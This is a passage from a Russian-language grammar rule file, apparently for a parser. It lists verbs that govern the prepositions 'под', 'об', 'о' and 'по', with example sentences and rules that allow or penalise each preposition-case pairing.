rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ) rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ) rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ) rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ) rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ) rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ) rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ) rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор) rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ) rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ) rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ) rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ) rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ) rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ) rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ) rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ) rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ) rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ) rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ) rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ) rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ) rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ) rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ) rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ) rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ) rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ) rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ) rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ) rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ) rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД) rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ) rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД) rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ) rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ) rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ) rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ) rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ) rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ) rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ) rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ) rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ) rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ) rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ) rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ) rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ) rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ) rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ) rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ) rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ) rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ) rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ) rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ) rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ) rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ) rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ) rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ) rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ) rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ) rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ) rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ) rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ) rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ) rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД) rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД) rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД) rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД) rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД) rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД) rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД) rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД) rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор) rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД) rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД) rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД) rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД) rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД) rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД) rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД) rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД) rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД) rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД) rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД) rus_verbs:уснуть{}, // Миша уснет под одеялом rus_verbs:пошевелиться{}, // пошевелиться под одеялом rus_verbs:задохнуться{}, // задохнуться под слоем снега rus_verbs:потечь{}, // потечь под избыточным давлением rus_verbs:уцелеть{}, // уцелеть под завалами rus_verbs:мерцать{}, // мерцать под лучами софитов rus_verbs:поискать{}, // поискать под кроватью rus_verbs:гудеть{}, // гудеть под нагрузкой rus_verbs:посидеть{}, // посидеть под навесом rus_verbs:укрыться{}, // укрыться под навесом rus_verbs:утихнуть{}, // утихнуть под одеялом rus_verbs:заскрипеть{}, // заскрипеть под тяжестью rus_verbs:шелохнуться{}, // шелохнуться под одеялом инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш }, инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш }, деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш }, rus_verbs:пониматься{}, // пониматься под успехом rus_verbs:подразумеваться{}, // подразумеваться под правильным решением rus_verbs:промокнуть{}, // промокнуть под проливным дождем rus_verbs:засосать{}, // засосать под ложечкой rus_verbs:подписаться{}, // подписаться под воззванием rus_verbs:укрываться{}, // укрываться под навесом rus_verbs:запыхтеть{}, // запыхтеть под одеялом rus_verbs:мокнуть{}, // мокнуть под лождем rus_verbs:сгибаться{}, // сгибаться под тяжестью снега rus_verbs:намокнуть{}, // намокнуть под дождем rus_verbs:подписываться{}, // подписываться под обращением rus_verbs:тарахтеть{}, // тарахтеть под окнами инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача. деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{}, rus_verbs:лежать{}, // лежать под капельницей rus_verbs:вымокать{}, // вымокать под дождём rus_verbs:вымокнуть{}, // вымокнуть под дождём rus_verbs:проворчать{}, // проворчать под нос rus_verbs:хмыкнуть{}, // хмыкнуть под нос rus_verbs:отыскать{}, // отыскать под кроватью rus_verbs:дрогнуть{}, // дрогнуть под ударами rus_verbs:проявляться{}, // проявляться под нагрузкой rus_verbs:сдержать{}, // сдержать под контролем rus_verbs:ложиться{}, // ложиться под клиента rus_verbs:таять{}, // таять под весенним солнцем rus_verbs:покатиться{}, // покатиться под откос rus_verbs:лечь{}, // он лег под навесом rus_verbs:идти{}, // идти под дождем прилагательное:известный{}, // Он известен под этим именем. rus_verbs:стоять{}, // Ящик стоит под столом. rus_verbs:отступить{}, // Враг отступил под ударами наших войск. rus_verbs:царапаться{}, // Мышь царапается под полом. rus_verbs:спать{}, // заяц спокойно спал у себя под кустом rus_verbs:загорать{}, // мы загораем под солнцем ГЛ_ИНФ(мыть), // мыть руки под струёй воды ГЛ_ИНФ(закопать), ГЛ_ИНФ(спрятать), ГЛ_ИНФ(прятать), ГЛ_ИНФ(перепрятать) } fact гл_предл { if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } } then return true } // для глаголов вне списка - запрещаем. fact гл_предл { if context { * предлог:под{} *:*{ падеж:твор } } then return false,-10 } fact гл_предл { if context { * предлог:под{} *:*{} } then return false,-11 } #endregion Предлог_ПОД */ #region Предлог_ОБ // -------------- ПРЕДЛОГ 'ОБ' ----------------------- wordentry_set Гл_ОБ_предл= { rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ) rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ) rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ) rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом? rus_verbs:забывать{}, // Мы не можем забывать об их участи. rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ) rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ) rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ) rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ) rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ) rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ) rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ) rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ) rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ) rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ) rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об) rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об) rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ) rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ) rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ) rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе. rus_verbs:кричать{}, // Все газеты кричат об этом событии. rus_verbs:советоваться{}, // Она обо всём советуется с матерью. rus_verbs:говориться{}, // об остальном говорилось легко. rus_verbs:подумать{}, // нужно крепко обо всем подумать. rus_verbs:напомнить{}, // черный дым напомнил об опасности. rus_verbs:забыть{}, // забудь об этой роскоши. rus_verbs:думать{}, // приходится обо всем думать самой. rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:информировать{}, // информировать об изменениях rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:заговорить{}, // заговорить об оплате rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:попросить{}, // попросить об услуге rus_verbs:объявить{}, // объявить об отставке rus_verbs:предупредить{}, // предупредить об аварии rus_verbs:предупреждать{}, // предупреждать об опасности rus_verbs:твердить{}, // твердить об обязанностях rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:прочитать{}, // он читал об этом в учебнике rus_verbs:узнать{}, // он узнал об этом из фильмов rus_verbs:рассказать{}, // рассказать об экзаменах rus_verbs:рассказывать{}, rus_verbs:договориться{}, // договориться об оплате rus_verbs:договариваться{}, // договариваться об обмене rus_verbs:болтать{}, // Не болтай об этом! rus_verbs:проболтаться{}, // Не проболтайся об этом! rus_verbs:заботиться{}, // кто заботится об урегулировании rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне rus_verbs:помнить{}, // всем советую об этом помнить rus_verbs:мечтать{} // Мечтать об успехе } fact гл_предл { if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } } then return true } fact гл_предл { if context { * предлог:о{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { * предлог:об{} @regex("[a-z]+[0-9]*") } then return true } // остальные глаголы не могут связываться fact гл_предл { if context { * предлог:об{} *:*{ падеж:предл } } then return false, -4 } wordentry_set Гл_ОБ_вин= { rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ) rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ) rus_verbs:опереться{}, // Он опёрся об стену. rus_verbs:опираться{}, rus_verbs:постучать{}, // постучал лбом об пол. rus_verbs:удариться{}, // бутылка глухо ударилась об землю. rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:царапаться{} // Днище лодки царапалось обо что-то. } fact гл_предл { if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:об{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:об{} *:*{} } then return false,-5 } #endregion Предлог_ОБ #region Предлог_О // ------------------- С ПРЕДЛОГОМ 'О' ---------------------- wordentry_set Гл_О_Вин={ rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену. rus_verbs:болтать{}, // Болтали чаще всего о пустяках. rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг. rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол. rus_verbs:бахнуться{}, // Бахнуться головой о стол. rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ) rus_verbs:ВЫТИРАТЬ{}, // rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ) rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ) rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ) rus_verbs:ЛЯЗГАТЬ{}, // rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ) rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ) rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ) rus_verbs:колотиться{}, // сердце его колотилось о ребра rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей. rus_verbs:биться{}, // биться головой о стену? (биться о) rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о) rus_verbs:разбиваться{}, // волны разбивались о скалу rus_verbs:разбивать{}, // Разбивает голову о прутья клетки. rus_verbs:облокотиться{}, // облокотиться о стену rus_verbs:точить{}, // точить о точильный камень rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень rus_verbs:потереться{}, // потереться о дерево rus_verbs:ушибиться{}, // ушибиться о дерево rus_verbs:тереться{}, // тереться о ствол rus_verbs:шмякнуться{}, // шмякнуться о землю rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:тереть{}, // тереть о камень rus_verbs:потереть{}, // потереть о колено rus_verbs:удариться{}, // удариться о край rus_verbs:споткнуться{}, // споткнуться о камень rus_verbs:запнуться{}, // запнуться о камень rus_verbs:запинаться{}, // запинаться о камни rus_verbs:ударяться{}, // ударяться о бортик rus_verbs:стукнуться{}, // стукнуться о бортик rus_verbs:стукаться{}, // стукаться о бортик rus_verbs:опереться{}, // Он опёрся локтями о стол. rus_verbs:плескаться{} // Вода плещется о берег. } fact гл_предл { if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:о{} *:*{ падеж:вин } } then return false,-5 } wordentry_set Гл_О_предл={ rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ) rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ) rus_verbs:РАССПРАШИВАТЬ{}, // rus_verbs:слушать{}, // ты будешь слушать о них? rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ) rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ) rus_verbs:сложить{}, // о вас сложены легенды rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О) rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О) rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О) rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О) rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О) rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О) rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О) rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О) rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О) rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О) rus_verbs:осведомиться{}, // офицер осведомился о цели визита rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о) rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О) rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о) rus_verbs:зайти{}, // Разговор зашёл о политике. rus_verbs:порассказать{}, // порассказать о своих путешествиях инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви деепричастие:спев{}, прилагательное:спевший{ вид:соверш }, прилагательное:спетый{}, rus_verbs:напеть{}, rus_verbs:разговаривать{}, // разговаривать с другом о жизни rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях //rus_verbs:заботиться{}, // заботиться о престарелых родителях rus_verbs:раздумывать{}, // раздумывать о новой работе rus_verbs:договариваться{}, // договариваться о сумме компенсации rus_verbs:молить{}, // молить о пощаде rus_verbs:отзываться{}, // отзываться о книге rus_verbs:подумывать{}, // подумывать о новом подходе rus_verbs:поговаривать{}, // поговаривать о загадочном звере rus_verbs:обмолвиться{}, // обмолвиться о проклятии rus_verbs:условиться{}, // условиться о поддержке rus_verbs:призадуматься{}, // призадуматься о последствиях rus_verbs:известить{}, // известить о поступлении rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:напевать{}, // напевать о любви rus_verbs:помышлять{}, // помышлять о новом деле rus_verbs:переговорить{}, // переговорить о правилах rus_verbs:повествовать{}, // повествовать о событиях rus_verbs:слыхивать{}, // слыхивать о чудище rus_verbs:потолковать{}, // потолковать о планах rus_verbs:проговориться{}, // проговориться о планах rus_verbs:умолчать{}, // умолчать о штрафах rus_verbs:хлопотать{}, // хлопотать о премии rus_verbs:уведомить{}, // уведомить о поступлении rus_verbs:горевать{}, // горевать о потере rus_verbs:запамятовать{}, // запамятовать о важном мероприятии rus_verbs:заикнуться{}, // заикнуться о прибавке rus_verbs:информировать{}, // информировать о событиях rus_verbs:проболтаться{}, // проболтаться о кладе rus_verbs:поразмыслить{}, // поразмыслить о судьбе rus_verbs:заикаться{}, // заикаться о деньгах rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:печься{}, // печься о всеобщем благе rus_verbs:разглагольствовать{}, // разглагольствовать о правах rus_verbs:размечтаться{}, // размечтаться о будущем rus_verbs:лепетать{}, // лепетать о невиновности rus_verbs:грезить{}, // грезить о большой и чистой любви rus_verbs:залепетать{}, // залепетать о сокровищах rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде rus_verbs:протрубить{}, // протрубить о победе rus_verbs:извещать{}, // извещать о поступлении rus_verbs:трубить{}, // трубить о поимке разбойников rus_verbs:осведомляться{}, // осведомляться о судьбе rus_verbs:поразмышлять{}, // поразмышлять о неизбежном rus_verbs:слагать{}, // слагать о подвигах викингов rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании rus_verbs:закидывать{}, // закидывать сообщениями об ошибках rus_verbs:базарить{}, // пацаны базарили о телках rus_verbs:балагурить{}, // мужики балагурили о новом председателе rus_verbs:балакать{}, // мужики балакали о новом председателе rus_verbs:беспокоиться{}, // Она беспокоится о детях rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве rus_verbs:возмечтать{}, // возмечтать о счастливом мире rus_verbs:вопить{}, // Кто-то вопил о несправедливости rus_verbs:сказать{}, // сказать что-то новое о ком-то rus_verbs:знать{}, // знать о ком-то что-то пикантное rus_verbs:подумать{}, // подумать о чём-то rus_verbs:думать{}, // думать о чём-то rus_verbs:узнать{}, // узнать о происшествии rus_verbs:помнить{}, // помнить о задании rus_verbs:просить{}, // просить о коде доступа rus_verbs:забыть{}, // забыть о своих обязанностях rus_verbs:сообщить{}, // сообщить о заложенной мине rus_verbs:заявить{}, // заявить о пропаже rus_verbs:задуматься{}, // задуматься о смерти rus_verbs:спрашивать{}, // спрашивать о поступлении товара rus_verbs:догадаться{}, // догадаться о причинах rus_verbs:договориться{}, // договориться о собеседовании rus_verbs:мечтать{}, // мечтать о сцене rus_verbs:поговорить{}, // поговорить о наболевшем rus_verbs:размышлять{}, // размышлять о насущном rus_verbs:напоминать{}, // напоминать о себе rus_verbs:пожалеть{}, // пожалеть о содеянном rus_verbs:ныть{}, // ныть о прибавке rus_verbs:сообщать{}, // сообщать о победе rus_verbs:догадываться{}, // догадываться о первопричине rus_verbs:поведать{}, // поведать о тайнах rus_verbs:умолять{}, // умолять о пощаде rus_verbs:сожалеть{}, // сожалеть о случившемся rus_verbs:жалеть{}, // жалеть о случившемся rus_verbs:забывать{}, // забывать о случившемся rus_verbs:упоминать{}, // упоминать о предках rus_verbs:позабыть{}, // позабыть о своем обещании rus_verbs:запеть{}, // запеть о любви rus_verbs:скорбеть{}, // скорбеть о усопшем rus_verbs:задумываться{}, // задумываться о смене работы rus_verbs:позаботиться{}, // позаботиться о престарелых родителях rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината rus_verbs:попросить{}, // попросить о замене rus_verbs:предупредить{}, // предупредить о замене rus_verbs:предупреждать{}, // предупреждать о замене rus_verbs:твердить{}, // твердить о замене rus_verbs:заявлять{}, // заявлять о подлоге rus_verbs:петь{}, // певица, поющая о лете rus_verbs:проинформировать{}, // проинформировать о переговорах rus_verbs:порассказывать{}, // порассказывать о событиях rus_verbs:послушать{}, // послушать о новинках rus_verbs:заговорить{}, // заговорить о плате rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой. rus_verbs:оставить{}, // Он оставил о себе печальную память. rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях rus_verbs:спорить{}, // они спорили о законе глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия. глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия. rus_verbs:прочитать{}, // Я прочитал о тебе rus_verbs:услышать{}, // Я услышал о нем rus_verbs:помечтать{}, // Девочки помечтали о принце rus_verbs:слышать{}, // Мальчик слышал о приведениях rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке rus_verbs:грустить{}, // Я грущу о тебе rus_verbs:осведомить{}, // о последних достижениях науки rus_verbs:рассказывать{}, // Антонио рассказывает о работе rus_verbs:говорить{}, // говорим о трех больших псах rus_verbs:идти{} // Вопрос идёт о войне. } fact гл_предл { if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } } then return true } // Мы поделились впечатлениями о выставке. // ^^^^^^^^^^ ^^^^^^^^^^ fact гл_предл { if context { * предлог:о{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:о{} *:*{} } then return false,-5 } #endregion Предлог_О #region Предлог_ПО // ------------------- С ПРЕДЛОГОМ 'ПО' ---------------------- // для этих глаголов - запрещаем связывание с ПО+дат.п. wordentry_set Глаг_ПО_Дат_Запр= { rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:закончить{}, rus_verbs:мочь{}, rus_verbs:хотеть{} } fact гл_предл { if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } } then return false,-10 } // По умолчанию разрешаем связывание в паттернах типа // Я иду по шоссе fact гл_предл { if context { * предлог:по{} *:*{ падеж:дат } } then return true } wordentry_set Глаг_ПО_Вин= { rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ) rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО) rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера rus_verbs:засадить{}, // засадить по рукоятку rus_verbs:увязнуть{} // увязнуть по колено } fact гл_предл { if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:по{} *:*{ 